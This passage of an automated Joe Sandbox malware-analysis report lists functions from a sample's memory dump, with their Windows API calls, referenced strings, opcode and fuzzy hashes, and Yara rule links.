Function 0040693C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00406984,?,?,?,?,00000000,?,00406999,00406CC7,00000000,00406D0C,?,?,?), ref: 00406967

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 53f9965764e037d0eade91fd77cfc00c47722664131d9e88e47f7f2d0abdeb71
Instruction ID: a5d31a369ac9c1460ce21b6bb4ed2cb839aeaeb50f5f76e03c39097c5263300d
Opcode Fuzzy Hash: 53f9965764e037d0eade91fd77cfc00c47722664131d9e88e47f7f2d0abdeb71
Instruction Fuzzy Hash: A9E065712043047FD701EA629C52959B7ACDB89708B924476B501A6682D5785E108568

Uniqueness

Uniqueness Score: -1.00%

Function 00407628 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040763F

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,020703AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 2449abf237b154253dcf2b231e0da589e0eb2b5517b9a23d8c49629d5bbf5411
Instruction ID: 68b513bd5595dc6b38f1d245c0222f257f742b1e6f06676187839ef0e6677733
Opcode Fuzzy Hash: 2449abf237b154253dcf2b231e0da589e0eb2b5517b9a23d8c49629d5bbf5411
Instruction Fuzzy Hash: 93E01A727081106BEB10E65EDCC0EABA7DCDFC5764F04547BBA08EB291D674AC049676

Uniqueness

Uniqueness Score: -1.00%

Function 004071E4 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,0040904B,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,Wow64DisableWow64FsRedirection,00000000,00409061), ref: 00407203

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 606059c89ae6d8e8cf07aa2f3a49422b1cb7a18355834490beef1a35ac41266b
Instruction ID: 095b59eb22c1ada42cfe979e419102ec0d22498c88dfceb067fba30b4837873c
Opcode Fuzzy Hash: 606059c89ae6d8e8cf07aa2f3a49422b1cb7a18355834490beef1a35ac41266b
Instruction Fuzzy Hash: 8DE0D8A0B8830125F22514544C87B77110E53C0700F50847EB710ED3D3D6BEA90641AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040760C Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,02088000,00409F6B,00000000), ref: 00407613

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,020703AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 2ff8edb08080e924c2b395f282aa3d8258573adb5ced5672aaac345b41159427
Instruction ID: 5d9383f6f08d3e81a9fa52c4aba0b6319cc61be016c813106cdb36ce464f185a
Opcode Fuzzy Hash: 2ff8edb08080e924c2b395f282aa3d8258573adb5ced5672aaac345b41159427
Instruction Fuzzy Hash: 39C04CB1A0450047DB40A6BE99C1A0662DC5A483157045576BA08DB297D679E8009665

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00406F79), ref: 00406F6C

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b3342c3bee8ef6d4bfebdffece25c86b3cab89117035339c57c774ddff03cb9f
Instruction ID: 754ecbd0d3eeca534395493226652c0236480d823d7569c9efe771d01927bad3
Opcode Fuzzy Hash: b3342c3bee8ef6d4bfebdffece25c86b3cab89117035339c57c774ddff03cb9f
Instruction Fuzzy Hash: 97B09B7661C2015DE705D6D5745193863F4D7C47103A1457BF104D25C0D57CD4144518

Uniqueness

Uniqueness Score: -1.00%

Function 00406F77 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00406F79), ref: 00406F6C

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 8c0feaa3b8caa60bdda2d34a80aa64328f40d718bb3766066fe9d436f42a4d4e
Instruction ID: 7c61e226393e4972c06343dd54fa3db727d2c771c967085a02b7622724de7152
Opcode Fuzzy Hash: 8c0feaa3b8caa60bdda2d34a80aa64328f40d718bb3766066fe9d436f42a4d4e
Instruction Fuzzy Hash: BAA022A8C00002B2CE00E2F08080A3C23282A8C3003C00AAA322EB20C0C03CC000822A

Uniqueness

Uniqueness Score: -1.00%

Function 004068D0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,004068CC,?,004065A9,?,?,00406CE7,00000000,00406D0C,?,?,?,?,00000000,00000000), ref: 004068D2

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 17375083e06acd4281245791c958798094bb343357575ce1856f87173c3dc77f
Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
Opcode Fuzzy Hash: 17375083e06acd4281245791c958798094bb343357575ce1856f87173c3dc77f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00407DFC Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407E8C

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173b8e8880a2d8bc8916495ece18949fbab6e5abf9cd9f38168eb99c200b7a3e
Instruction ID: 2791b199587b26d82634b85145401aad68464bde91e43c5b6ac1b5c6de7462a2
Opcode Fuzzy Hash: 173b8e8880a2d8bc8916495ece18949fbab6e5abf9cd9f38168eb99c200b7a3e
Instruction Fuzzy Hash: 7A1172716042449BDB00EE19C881B5B3794AF84359F1484BAF958AB2C6DB38EC04CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8

Uniqueness

Uniqueness Score: -1.00%

Function 004074A8 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 004074B8

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e9d4eabf3352258034a438adb9f93a7799ac96b59790047b66948ab7235a5e89
Instruction ID: 0172511661962fd54a17c381567595eb1d39a1afdb2a9088c563811225ee2893
Opcode Fuzzy Hash: e9d4eabf3352258034a438adb9f93a7799ac96b59790047b66948ab7235a5e89
Instruction Fuzzy Hash: FDD05E81B00A6017D215E2BE498864696C85F88745B08847AFA84E73D1D67CAC008399

Uniqueness

Uniqueness Score: -1.00%

Function 00407DA4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407E82), ref: 00407DBB

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5b9bfc86dfec920811477731d59a81a0154f8da7388717baf7e2e0d063c75e3e
Instruction ID: 99ab645fda39969175de1cb99313e8e2edaeef7f3c7532f72142fb74a6686f70
Opcode Fuzzy Hash: 5b9bfc86dfec920811477731d59a81a0154f8da7388717baf7e2e0d063c75e3e
Instruction Fuzzy Hash: 0AD0E9B17553055BDB90EEB95CC5B123BD87B48601F5044B66904EB29AE674E8109614

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040936C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 0040937B
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00409381
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 0040939A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 004093C1
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 004093C6
ExitWindowsEx.USER32(00000002,00000000), ref: 004093D7

Strings

SeShutdownPrivilege, xrefs: 00409393

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 2b7c2d1c4f590a8974f253569f8503172d2d606641626e35aa9b2bf4c08caf06
Instruction ID: 611fb1cec5075bd7f6e538fe0f9c98e62950726bb4ce6d0bef13c3fa82a74cfd
Opcode Fuzzy Hash: 2b7c2d1c4f590a8974f253569f8503172d2d606641626e35aa9b2bf4c08caf06
Instruction Fuzzy Hash: 95F0627068430276E610A6718C47F67228C5B88B08F50483ABE51FA1C3D7BCCC044A6F

Uniqueness

Uniqueness Score: -1.00%

Function 00409AD0 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409ADA
SizeofResource.KERNEL32(00000000,00000000,?,00409BC5,00000000,0040A15C,?,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 00409AED
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,00409BC5,00000000,0040A15C,?,00000001,00000000,00000002,00000000,0040A1A4,?,00000000), ref: 00409AFF
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00409BC5,00000000,0040A15C,?,00000001,00000000,00000002,00000000,0040A1A4), ref: 00409B10

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 400a5822642c04a340576dade1617737d9942a0be047b9803f81a1d9eeffe18d
Instruction ID: bd400d834a0aeaf6767d0a45abc69bca8fb82328816d2df24890c915d48f9c17
Opcode Fuzzy Hash: 400a5822642c04a340576dade1617737d9942a0be047b9803f81a1d9eeffe18d
Instruction Fuzzy Hash: 87E05AD035434625EA6036E718D2B2B62085FA471DF00013FBB00792D3DDBC8C04452E

Uniqueness

Uniqueness Score: -1.00%

Function 004051A8 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004053AA,?,?,?,00000000,0040555C), ref: 004051BB

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5ea09b3054f78be8d61aadd1ef4a431fb4c5ee7ddbf8397ee2588b1f4940bcb7
Instruction ID: dec8dcb9893e8432c944e1b70884c8cc40709e939aac0c2d0d2241257bb7fc31
Opcode Fuzzy Hash: 5ea09b3054f78be8d61aadd1ef4a431fb4c5ee7ddbf8397ee2588b1f4940bcb7
Instruction Fuzzy Hash: D3D05EB631E6502AE210519B2D85EBB4EACCAC57A4F14443BF648DB242D2248C069776

Uniqueness

Uniqueness Score: -1.00%

Function 004026C4 Relevance: 1.5, APIs: 1, Instructions: 20timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004026CE

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction ID: 69442b1fa125f02c17f5f00667ba5619268a94e84ed87230136e9e38920861ba
Opcode Fuzzy Hash: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction Fuzzy Hash: 14E04F21E0010A82C704ABA5CD435EDF7AEAB95600B044272A418E92E0F631C251C748

Uniqueness

Uniqueness Score: -1.00%

Function 00405C44 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00406540,00000000,0040654E,?,?,?,?,?,00409B44), ref: 00405C52

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b3c8fce3f516c1eeee7654ac00498b0e6f5204205adccd6d1250d5bfc2945711
Instruction ID: 6a84e84a5bdb2c7c5b206d002f2a3fc227ad50a79849cf1aa773f1ea3c1cbc6a
Opcode Fuzzy Hash: b3c8fce3f516c1eeee7654ac00498b0e6f5204205adccd6d1250d5bfc2945711
Instruction Fuzzy Hash: 5AC0126040470186E7109B319C42B1672D4A744310F4805396DA4953C2E73C81018A5A

Uniqueness

Uniqueness Score: -1.00%

Function 00408330 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction ID: 956cfbd081f07b2254a6d3089f19d76ceb57970edf417c817245e325156cd300
Opcode Fuzzy Hash: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction Fuzzy Hash: 4432E875E04219DFCB14CF99CA80AADB7B2BF88314F24816AD845B7385DB34AE42CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00406F84 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407089), ref: 00406FAD
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00406FB3
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407089), ref: 00407001

Strings

GetUserDefaultUILanguage, xrefs: 00406FA3
Control Panel\Desktop\ResourceLocale, xrefs: 00407010
kernel32.dll, xrefs: 00406FA8
.DEFAULT\Control Panel\International, xrefs: 00406FD8
Locale, xrefs: 00406FF0

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 60a9e4a616bde9d3650d5374f7b0e792bef98a6345d6610fa7bc99ac1ec5f133
Instruction ID: 4848c3cc747176469ce0ef08a48ea257d9f62360c4c8e5a9f2e1a14c28c6fa3b
Opcode Fuzzy Hash: 60a9e4a616bde9d3650d5374f7b0e792bef98a6345d6610fa7bc99ac1ec5f133
Instruction Fuzzy Hash: C3217370E04209ABDB10EBB5CD51B9F77A8EB44304F60857BA500F72C1DB7CAA05879E

Uniqueness

Uniqueness Score: -1.00%

Function 00403A97 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
GetLastError.KERNEL32(000000F5), ref: 00403C1E

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405314 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040555C,?,?,?,?,00000000,00000000,00000000,?,0040653B,00000000,0040654E), ref: 0040532E

Part of subcall function 0040515C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Part of subcall function 004051A8: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004053AA,?,?,?,00000000,0040555C), ref: 004051BB

Strings

mmmm d, yyyy, xrefs: 0040541F
:mm:ss, xrefs: 0040552A
:mm, xrefs: 00405510
m/d/yy, xrefs: 004053FD
AMPM, xrefs: 004054F9

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 161572950381ad7cbc257d6fe5eb76d638651fb1e2415ab537dea70fc89fa197
Instruction ID: f22f4b18e1885e1925b87b286fa486de3d96a381b4aec2b7527aff107c54c5fa
Opcode Fuzzy Hash: 161572950381ad7cbc257d6fe5eb76d638651fb1e2415ab537dea70fc89fa197
Instruction Fuzzy Hash: 8E514234B00648ABDB00EBA59C91B9F776ADB89304F50957BB514BB3C6CA3DCA058B5C

Uniqueness

Uniqueness Score: -1.00%

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(004DFC60,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(?,00000000,00008000,004DFC60,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(004DED10,?,00000000,00008000,004DFC60,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
